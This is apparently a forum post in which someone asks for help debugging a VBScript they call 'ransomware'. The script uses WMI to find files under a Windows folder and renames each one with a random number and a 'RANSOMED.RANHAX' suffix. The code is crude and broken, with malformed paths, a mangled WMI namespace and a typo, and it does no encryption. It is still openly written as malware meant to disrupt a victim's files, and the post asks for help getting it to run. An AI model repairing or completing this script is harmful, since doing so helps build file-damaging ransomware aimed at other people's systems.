I have a problem, I was making a “ransomware” using VBScript, but the problem is that when the VBScript file, it’s shows the error: “0x80041017” at line 23 char 1. Here is the line 23 code; For Each objFile in colFiles
;
If you need the full script, here is it:
' Verify that a Folder Exists
Dim WshShell
Set WshShell = WScript.CreateObject("Wscript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.FolderExists("WINDOWS") Then
Set objFolder = objFSO.GetFolder("WINDOWS")
Else
Wscript.Echo "Installation aborted."
WshShell.Exit
End If
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}\" & strComputer & "rootcimv2")
Set colFiles = objWMIService.ExecQuery _
("Select * from Cim_Datafile where Name = " _
& "'.\WINNDOWS*.*'")
For Each objFile in colFiles
intHighNumber = 100000
intLowNumber = 1
Randomize
rnum = Int( ( 100000 - 1 + 1 ) * Rnd + 1 )
errResult = objFile.Rename(".WINNDOWSRANSOMED.RANHAX" + rnum)
Wscript.Echo errResult
Next
Please help me.
I tried to debug the problem, but I couldn’t since the error was “(null)”.